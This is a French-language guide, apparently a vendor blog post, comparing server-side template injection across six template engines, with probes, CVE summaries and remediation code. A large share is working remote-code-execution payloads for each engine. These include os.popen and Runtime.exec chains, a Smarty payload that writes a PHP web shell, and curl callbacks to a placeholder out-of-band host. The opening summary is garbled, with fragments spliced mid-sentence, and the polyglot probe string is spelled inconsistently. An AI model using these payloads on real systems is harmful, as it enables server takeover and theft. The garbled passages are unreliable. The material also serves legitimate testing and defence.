SSTI comparatif sur 6 moteurs (Jinja2, Twig, Freemarker, Velocity, Smarty, Pebble, CWE-94) — sondes polyglotte, évasion de sandbox et signaux de détection.
TL;DR
${{<%[%'"}}%\ identifie le moteur via sa signature d'erreur en une seule sonde (Korchagin 2025, PortSwigger Rang #1){{7*'7'}} : Jinja2 → 49, Twig → 7777777 — identification du moteur en une requête{php}), Pebble (ClassLoader)L'injection de template côté serveur (SSTI) appartient à la famille d'injection de code CWE-94 appliquée spécifiquement aux moteurs de templates côté serveur. Le moteur évalue les expressions contrôlées par l'attaquant sur le serveur et retourne la sortie rendue dans la réponse HTTP. Le diagnostic clé : soumettre {{7*7}} — si 49 apparaît dans le corps de la réponse HTTP brute (confirmé avec curl -s), l'évaluation s'est produite côté serveur et la vulnérabilité est SSTI. Si 49 n'apparaît qu'après l'exécution JavaScript par le navigateur, c'est de l'injection de template côté client (CSTI), une classe de vulnérabilité distincte avec une remédiation différente.
La SSTI est classée sous OWASP A03:2021 (Injection) et CWE-1336 (Neutralisation incorrecte des éléments spéciaux utilisés dans un moteur de template) pour l'injection au niveau moteur, ou CWE-94 (Contrôle incorrect de la génération de code) pour le modèle d'injection de code plus large. Le plafond d'impact est l'exécution de code à distance sous les privilèges du processus applicatif — équivalent à un accès direct au serveur. Les scores CVSS varient de 8.5 (authentifié, contexte limité) à 10.0 (non authentifié, accessible par réseau, comme dans CVE-2023-22527 et CVE-2025-32432).
La cause racine est universelle dans tous les moteurs : l'entrée utilisateur entre dans le pipeline de templates comme code source plutôt que comme variable de données.
# Flask/Jinja2 — modèle de cause racine (universel dans tous les moteurs)
# VULNÉRABLE — user_input est la source du template
render_template_string(f"Bonjour {user_input} !")
# SÉCURISÉ — user_input est une variable de rendu
render_template("salutation.html", nom=user_input)Ce modèle se répète de façon identique en PHP/Twig, Java/Freemarker, Java/Velocity, PHP/Smarty et Java/Pebble. Le moteur ne peut pas distinguer la syntaxe rédigée par le développeur de la syntaxe injectée par l'attaquant — il évalue les deux.
Six moteurs de templates dominent le paysage des menaces SSTI. Chacun possède une syntaxe de délimiteurs distincte, un modèle de sandbox et un chemin RCE principal :
| Moteur | Langage | Délimiteur | {{7*7}} | {{7*'7'}} | Sandbox par défaut | Chaîne RCE principale |
|---|---|---|---|---|---|---|
| Jinja2 | Python | {{ }} | 49 | 49 | SandboxedEnvironment (optionnel) | cycler.__init__.__globals__.os.popen('id').read() |
| Twig | PHP | {{ }} | 49 | 7777777 | SecurityPolicy (optionnel) | _self.env.registerUndefinedFilterCallback("system") |
| Freemarker | Java | ${ }, <#> | 49 | N/A | SAFER_RESOLVER (optionnel) | "freemarker.template.utility.Execute"?new()("id") |
| Velocity | Java | $var, #set | N/A | N/A | SecureUberspector (optionnel) | #set($rt=$Class.inspect("java.lang.Runtime").type)$rt.getRuntime().exec("id") |
| Smarty | PHP | { } | N/A | N/A | Objet Security (optionnel) | {php}system('id');{/php} (< 3.1.39) |
| Pebble | Java | {{ }}, {% %} | 49 | 49 | Sandboxing d'extension | {{ "".class.forName("java.lang.Runtime").getMethod("exec",...).invoke(...) }} |
Observations clés de cette matrice :
{{7*'7'}} retourne un résultat différent de Jinja2 — cette sonde unique les sépare définitivement.${...} vs {{...}} — rendant l'identification du moteur simple à partir du seul délimiteur avant toute évaluation.Le polyglotte universel de Korchagin déclenche une erreur de syntaxe dans tous les moteurs simultanément :
${{<%[%'"}}%\Soumettre cette chaîne comme paramètre contrôlé par l'utilisateur. Le message d'erreur de la réponse identifie le moteur avec une grande précision :
| Moteur | Signature d'erreur |
|---|---|
| Jinja2 | jinja2.exceptions.TemplateSyntaxError: unexpected '<' |
| Twig | Twig\Error\SyntaxError: Unexpected token |
| Freemarker | freemarker.core.ParseException: Encountered "{" |
| Velocity | org.apache.velocity.exception.ParseErrorException |
| Smarty | Smarty Template Exception: syntax error |
| Pebble | com.mitchellbosecke.pebble.error.ParserException |
| Mako | mako.exceptions.SyntaxException |
| EJS | SyntaxError: Unexpected end of input |
Cette technique — nommée « Successful Errors » par Vladislav Korchagin — a été classée comme la recherche en hacking web la plus impactante de 2025 par PortSwigger. Elle est intégrée dans SSTImap v1.3.0, le profil d'analyse extensive SSTI de Burp Suite Pro 2025 et la détection par fingerprinting de moteur de BreachVex.
Après la reconnaissance par polyglotte, confirmer avec des sondes arithmétiques spécifiques à la famille de moteurs identifiée :
# Moteurs à double accolade (Jinja2, Twig, Pebble, Tornado)
{{7*7}} → 49 (les quatre moteurs)
{{7*'7'}} → 49 (Jinja2, Pebble) vs 7777777 (Twig)
# Moteurs à dollar-accolade (Freemarker, Velocity, SpEL, EL)
${7*7} → 49 (Freemarker, SpEL, EL)
$math.add(2,2) → 4 (Velocity — utilise Velocity Math Tool)
# Style ERB (Ruby ERB, Slim, Crystal)
<%= 7*7 %> → 49
# Confirmer avec deux sondes supplémentaires pour exclure la mise en cache
{{8*9}} → 72
{{13*13}} → 169Reproduire trois résultats arithmétiques différents avant de conclure à l'exécution du template. Une correspondance unique peut être fortuite ; trois résultats arithmétiques indépendants ne le sont pas.
# Étape 1 — Confirmer le moteur
{{7*'7'}} # → 49 (Jinja2), pas 7777777 (Twig)
# Étape 2 — Divulgation d'informations
{{ config.items() }} # Config Flask : SECRET_KEY, DATABASE_URL, etc.
# Étape 3 — RCE via le builtin cycler (contourne les filtres __class__/__mro__)
{{ cycler.__init__.__globals__.os.popen('id').read() }}
# Alternative : builtin lipsum (accès par dict, contourne les filtres de notation par point)
{{ lipsum.__globals__['os'].popen('id').read() }}
# Alternative : traversée MRO (verbeux, index N dépendant de la version Python)
{{ ''.__class__.__mro__[1].__subclasses__()[N]('id', shell=True, stdout=-1).communicate() }}Pertinence CVE : La SSTI Jinja2 au niveau applicatif est le plus souvent observée dans les applications Flask utilisant mal render_template_string(). CVE-2024-56201 (Jinja2 3.1.4, CVSS 7.8, traversée de chemin via FileSystemLoader) démontre que la surface d'attaque s'étend au-delà du mauvais usage de render_template_string.
# Étape 1 — Confirmer Twig (pas Jinja2)
{{7*'7'}} # → 7777777 (répétition de chaîne Twig)
# Étape 2 — Divulgation d'informations
{{_self.env}} # Dump de l'objet environnement Twig
# Étape 3 — RCE via le global _self et registerUndefinedFilterCallback
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("id")}}
# Alternative : filtre sort PHP avec callable
{{"id"|filter("system")}} # Twig 3.x+ sans SecurityPolicy appliquéePertinence CVE : CVE-2025-32432 (Craft CMS Twig, CVSS 10.0, CISA KEV 2025-04-29) — injection non authentifiée via l'aperçu de transformation d'actifs. CVE-2022-23614 (évasion de sandbox Twig 2.x/3.x via callback du filtre sort, CVSS 8.8).
// Étape 1 — Confirmer Freemarker
${7*7} // → 49
// Étape 2 — Divulgation d'informations
${.now} // Horodatage serveur
${.version} // Version Freemarker
// Étape 3 — RCE via le builtin Execute
${"freemarker.template.utility.Execute"?new()("id")}
// Bloqué par SAFER_RESOLVER — utiliser ClassInfo si disponible
${product.class.forName("java.lang.Runtime").getMethod("exec","".class.forName("java.lang.String")).invoke(product.class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}Pertinence CVE : CVE-2022-22963 (injection SpEL Spring Cloud Function, CVSS 9.8, CISA KEV) exploite le même modèle d'injection de langage d'expression Java que Freemarker dans les applications Spring.
// Étape 1 — Confirmer Velocity
#set($x = 7)$x // → 7
// Étape 2 — Divulgation d'informations
$request.getServletContext().getRealPath("/")
// Étape 3 — RCE via ClassTool (bibliothèque Velocity Tools)
#set($rt = $Class.inspect("java.lang.Runtime").type)
#set($proc = $rt.getRuntime().exec("id"))
#set($inputStream = $proc.getInputStream())
// Lire le flux...Pertinence CVE : CVE-2023-22527 (Atlassian Confluence Velocity, CVSS 10.0, CISA KEV 2024-01-23) — le CVE SSTI le plus exploité de 2024-2026. Utilisé activement par des groupes de rançongiciels.
// Étape 1 — Confirmer Smarty
{$smarty.version} // → chaîne de version Smarty
// Étape 2 — Divulgation d'informations
{$smarty.server.SERVER_ADDR}
// Étape 3 — RCE (Smarty < 3.1.39 — tag {php} activé par défaut)
{php}system('id');{/php}
// Smarty >= 3.1.39 — {php} désactivé, utiliser l'injection Write_File
{Smarty_Internal_Write_File::writeFile($SCRIPT_FILENAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}Pertinence CVE : CVE-2021-26120 (évasion de sandbox Smarty via la fonction math, CVSS 9.8). CVE-2021-29454 (bypass de sandbox string_tags Smarty, CVSS 8.8).
// Étape 1 — Confirmer Pebble
{{ 7*7 }} // → 49
// Étape 3 — RCE via ClassLoader (quand le gestionnaire de sécurité Java est absent)
{{ "".class.forName("java.lang.Runtime").getMethod("exec","".class).invoke("".class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id").text }}Pebble est le plus souvent trouvé dans les applications Spring Boot utilisant Pebble Spring Boot Starter. Son sandbox repose sur le gestionnaire de sécurité Java, qui est déprécié depuis Java 17 et supprimé dans Java 21.
Quand la sortie du template est supprimée (SSTI aveugle), utiliser des rappels hors-bande pour confirmer l'exécution :
# Jinja2 — rappel DNS via os.popen
{{ cycler.__init__.__globals__.os.popen('curl http://TOKEN.oast.pro').read() }}
# Freemarker — rappel DNS via Execute
${"freemarker.template.utility.Execute"?new()("curl http://TOKEN.oast.pro")}
# Velocity — rappel DNS via Runtime.exec
#set($rt = $Class.inspect("java.lang.Runtime").type)
#set($p = $rt.getRuntime().exec(["curl","http://TOKEN.oast.pro"]))
# Twig — rappel DNS via rappel PHP system
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("curl http://TOKEN.oast.pro")}}Remplacer TOKEN.oast.pro par un sous-domaine Interactsh ou Burp Collaborator. Un hit DNS ou HTTP confirme l'exécution de code sans nécessiter de sortie visible. Corréler par jeton unique par sonde pour distinguer les sondes simultanées.
CVE-2023-22527 — Atlassian Confluence Velocity (CVSS 10.0, CISA KEV 2024-01-23)
Le template Velocity text-inline.vm acceptait un paramètre label contrôlé par l'utilisateur évalué comme OGNL dans le contexte d'action Struts2. Un attaquant non authentifié envoyant un POST vers /template/aui/text-inline.vm avec des expressions OGNL invoquait Runtime.exec() sans aucune identifiant. Ajouté au CISA KEV sept jours après la divulgation. Des groupes de rançongiciels ont confirmé une exploitation active jusqu'en 2025-2026 ; plus de 11 000 instances Confluence exposées sur Internet étaient vulnérables le jour de la divulgation. Corrigé dans Confluence 8.5.4+.
CVE-2025-32432 — Craft CMS Twig (CVSS 10.0, CISA KEV 2025-04-29)
Craft CMS avant 3.9.14 / 4.13.2 / 5.6.17 acceptait des expressions Twig comme paramètre transform dans le point de terminaison d'aperçu d'actifs. Le moteur rendait l'entrée sans aucun sandbox SecurityPolicy : {{ ['id']|filter('system')|join }} exécutait des commandes OS en tant que processus du serveur web. Ajouté au CISA KEV dans les 24 heures suivant la divulgation publique, avec exploitation active confirmée le même jour.
CVE-2025-41253 — Spring Cloud Gateway SpEL (CVSS 8.6)
Spring Cloud Gateway avec le point de terminaison actuator exposé permettait l'injection SpEL via l'API HTTP de définition de routes. Des attaquants ayant accès réseau à l'actuator (souvent sur des réseaux internes sans authentification) pouvaient injecter des références @systemProperties et @systemEnvironment pour exfiltrer des identifiants de base de données, des clés de signature JWT et des jetons API depuis l'environnement JVM en cours d'exécution.
CVE-2020-13936 — Évasion de sandbox Velocity (CVSS 9.8)
Apache Velocity Engine avant 2.3 permettait l'évasion de sandbox via les références $class et $context pour accéder aux API de réflexion Java. Les templates Velocity avec SecureUberspector désactivé pouvaient invoquer java.lang.Runtime.exec() via la traversée ClassInfo. Ce CVE a établi que le SecureUberspector Velocity est une configuration recommandée, non par défaut — un modèle de mauvaise configuration systémique encore présent dans les déploiements Spring/Struts hérités.
CVE-2023-22527 (Confluence Velocity) reste activement exploité en 2026. Les instances non corrigées sont fiablement compromises dans les jours suivant leur exposition à Internet. Vérifier que la version Confluence est 8.5.4+ ou 8.6.0+ avant toute exposition réseau externe.
Identifier toutes les entrées contrôlées par l'utilisateur reflétées dans la sortie rendue : paramètres d'URL, champs du corps POST, en-têtes HTTP, noms d'affichage de profil, aperçus de templates d'e-mail, éditeurs WYSIWYG de CMS, noms de rapports, sujets de notifications.
Soumettre le polyglotte universel de Korchagin dans chaque paramètre :
${{<%[%'"}}%\Une exception ou une sortie malformée (plutôt que la chaîne littérale renvoyée) indique un contexte de template. Croiser la signature d'erreur avec le tableau des moteurs ci-dessus.
Soumettre des sondes arithmétiques spécifiques aux délimiteurs :
{{7*7}} → 49 (Jinja2, Twig, Pebble, Tornado)
${7*7} → 49 (Freemarker, SpEL, EL)Appliquer le différentiel Twig vs Jinja2 :
{{7*'7'}} → 49 = Jinja2/Pebble
→ 7777777 = TwigConfirmer avec deux sondes arithmétiques supplémentaires : {{8*9}} → 72, {{13*13}} → 169.
Tester les contextes aveugles via rappel OOB ou délai temporel.
# SSTImap v1.3.0 — support 44 moteurs, error-based Korchagin
sstimap -u "http://cible.com/salutation?nom=*"
sstimap -u "http://cible.com/rendu" -d "template=*" -X POST
# tplmap — outil legacy stable
tplmap.py -u "http://cible.com/salutation?nom=*"
# Nuclei — templates spécifiques aux CVE
nuclei -t cves/ -tags ssti -u http://cible.com
# Semgrep SAST
semgrep --config "p/flask" . # Flask/Jinja2
semgrep --config "p/java" . # Freemarker/Velocity/PebbleBreachVex confirme la SSTI via plusieurs techniques complémentaires : sondage par évaluation mathématique, fingerprinting du moteur par polyglotte Korchagin, dumps de propriétés serveur reproduits plusieurs fois, et callbacks DNS hors-bande avec corrélation par sonde — chaque finding étant appuyé par une preuve d'exécution.
La défense est identique dans tous les six moteurs : passer l'entrée utilisateur comme variable de rendu, jamais comme source de template.
# Flask/Jinja2
return render_template("page.html", nom=entree_utilisateur) # sécurisé
# JAMAIS : render_template_string(f"Bonjour {entree_utilisateur} !")// Twig
echo $twig->render('page.html.twig', ['nom' => $entreeUtilisateur]); // sécurisé
// JAMAIS : $twig->createTemplate($_POST['template'])// Freemarker
Template t = cfg.getTemplate("page.ftl"); // pré-compilé
t.process(Map.of("nom", entreeUtilisateur), out); // sécurisé
// JAMAIS : new Template("user", new StringReader(entreeUtilisateur), cfg)// Velocity
Template t = ve.getTemplate("page.vm"); // pré-compilé
context.put("nom", entreeUtilisateur); // variable de données sécurisée
t.merge(context, writer);
// JAMAIS : Velocity.evaluate(context, writer, "user", entreeUtilisateur)Si les templates définis par l'utilisateur sont une exigence produit, appliquer la configuration sandbox la plus stricte disponible et auditer par rapport aux chaînes de bypass publiées pour la version spécifique du moteur. Surveiller les avis de sécurité du moteur et NVD en continu. Consulter les pages spécifiques à chaque moteur pour les configurations de durcissement sandbox détaillées.
L'injection de template côté serveur (SSTI) se produit dans les moteurs de templates s'exécutant sur le serveur. Le résultat de l'expression rendue apparaît directement dans le corps de la réponse HTTP brute — visible avec curl avant toute exécution JavaScript. L'injection de template côté client (CSTI) se produit dans les moteurs JavaScript exécutés dans le navigateur (AngularJS, Vue.js). La charge utile {{7*7}} ne s'évalue à 49 que dans le DOM du navigateur après hydratation. Pour différencier : effectuer la requête avec un user-agent non-navigateur — si 49 apparaît dans la réponse HTTP brute, c'est de la SSTI.
Le polyglotte universel de Korchagin ${{<%['"}}%\ déclenche simultanément des erreurs de syntaxe dans tous les principaux moteurs de templates. Soumettre ce polyglotte dans tout paramètre contrôlé par l'utilisateur. Croiser le message d'erreur avec la signature de chaque moteur : jinja2.exceptions.TemplateSyntaxError pour Jinja2, Twig\Error\Syntax pour Twig, freemarker.core.ParseException pour Freemarker. Cette sonde unique identifie le moteur sans connaissance préalable de la pile technologique. Classé #1 au Top 10 des techniques de hacking web PortSwigger 2025.
Soumettre {{7*'7'}}. Jinja2 évalue la multiplication truthy et retourne 49. Twig traite l'expression comme une répétition de chaîne et retourne 7777777. Cette sonde différentielle est le discriminateur Jinja2 vs Twig canonique en une seule requête, à utiliser avant toute tentative d'exploitation pour éviter d'envoyer une mauvaise chaîne de payload.
Les six moteurs principaux ont des chaînes RCE publiées : Jinja2 via cycler.__init__.__globals__.os.popen() ; Twig via _self.env.registerUndefinedFilterCallback('system') ; Freemarker via 'freemarker.template.utility.Execute'?new() ; Velocity via #set($rt=$Class.inspect('java.lang.Runtime').type) ; Smarty via {php}system('id');{/php} dans les versions antérieures à 3.1.39 ; Pebble via la chaîne getClass().getClassLoader(). Le sandboxing retarde l'exploitation mais aucun sandbox de moteur n'est imperméable aux évasions.
${7*7} (syntaxe dollar-accolade) indique Freemarker, Velocity, Spring Expression Language (SpEL) ou Thymeleaf. {{7*7}} (double-accolade) indique Jinja2, Twig, Pebble ou Tornado. Le délimiteur distingue les moteurs de l'écosystème Java des moteurs Python/PHP. Soumettre les deux variantes quand le moteur est inconnu.
CVE-2023-22527 (Atlassian Confluence Velocity, CVSS 10.0, CISA KEV 2024-01-23, exploité par des rançongiciels jusqu'en 2026), CVE-2025-32432 (Craft CMS Twig, CVSS 10.0, CISA KEV 2025-04-29, non authentifié), CVE-2025-54253 (Adobe AEM Forms OGNL, CVSS 10.0, CISA KEV 2025-08-21), CVE-2025-41253 (Spring Cloud Gateway SpEL, CVSS 8.6), CVE-2022-23614 (évasion de sandbox Twig, CVSS 8.8), CVE-2020-13936 (évasion de sandbox Velocity, CVSS 9.8).
La méthode la plus sûre est de ne pas autoriser du tout les templates définis par l'utilisateur. Si c'est inévitable : (1) utiliser le mode sandbox le plus strict du moteur (SandboxedEnvironment dans Jinja2, ALLOWS_NOTHING_RESOLVER dans Freemarker, SecurityPolicy dans Twig, SecureUberspector dans Velocity) ; (2) effacer tous les globals et objets dérivés des globals ; (3) n'autoriser que les filtres et fonctions spécifiques requis ; (4) auditer la configuration sandbox résultante par rapport aux chaînes de bypass publiées pour cette version du moteur. Surveiller les nouveaux CVE de bypass en continu.
Freemarker utilise la syntaxe ${expression} et <#assign> (écosystème Java, applications Spring). Le builtin RCE principal est ?new() qui instancie des classes Java arbitraires : 'freemarker.template.utility.Execute'?new()(). La configuration SAFER_RESOLVER bloque cette chaîne spécifique. Jinja2 utilise {{expression}} (écosystème Python, Flask). Son RCE repose sur la traversée MRO des objets Python ou le bypass des globals cycler/lipsum. Chaque moteur nécessite un ensemble de payloads distinct — les payloads inter-moteurs seront rejetés par le lexeur.
Oui. La SSTI aveugle utilise deux techniques : (1) Temporelle : injecter une expression de délai — {{config.items()|list|sort}} avec une grande liste pour induire un délai de traitement, ou des primitives de sommeil spécifiques au moteur. (2) Hors-bande (OOB) : injecter une commande OS qui émet une requête DNS ou HTTP vers un écouteur Interactsh/Burp Collaborator — {{ cycler.__init__.__globals__.os.popen('curl TOKEN.oast.pro').read() }} dans Jinja2. L'OOB est plus fiable que le temporel et fournit une confirmation du moteur via l'exécution de commande elle-même.
python.flask.security.injection.tainted-string-format détecte render_template_string() recevant une entrée contrôlée par l'utilisateur via le contexte de requête Flask. python.jinja2.security.audit.jinja2-autoescape-disabled détecte l'autoescape désactivé. java.freemarker.security.template-injection détecte l'instanciation de StringReader avec une entrée contrôlée par l'utilisateur passée à Template(). Pour Twig : php.twig.security.twig-template-injection détecte $twig->createTemplate() avec une entrée utilisateur.
SSTImap v1.3.0 soumet le polyglotte de Korchagin pour identifier le moteur via la signature d'erreur, puis applique des chaînes de payload spécifiques au moteur pour confirmer l'évaluation et tenter l'exécution de commandes OS. tplmap utilise des séquences de sondes arithmétiques par moteur et des réponses différentielles pour la reconnaissance du moteur. Le profil d'analyse extensive SSTI de Burp Suite Pro 2025 intègre les sondes Korchagin et les différentiels arithmétiques. Les trois outils prennent en charge les rappels OOB via Burp Collaborator ou Interactsh pour les contextes SSTI aveugles.
1. Identifier toutes les entrées contrôlées par l'utilisateur reflétées dans la sortie rendue. 2. Soumettre le polyglotte de Korchagin ${{<%['"}}%\ pour détecter le contexte de template via la réponse d'erreur. 3. Soumettre {{7*7}} et ${7*7} pour identifier la famille de délimiteurs. 4. Appliquer le différentiel {{7*'7'}} pour distinguer Jinja2 de Twig. 5. Confirmer avec deux sondes arithmétiques supplémentaires ({{8*9}}→72, {{13*13}}→169) pour exclure la mise en cache. 6. Appliquer le payload de divulgation d'informations spécifique au moteur. 7. Appliquer la chaîne RCE spécifique au moteur comme preuve de concept. 8. Documenter avec un rappel OOB pour les contextes aveugles.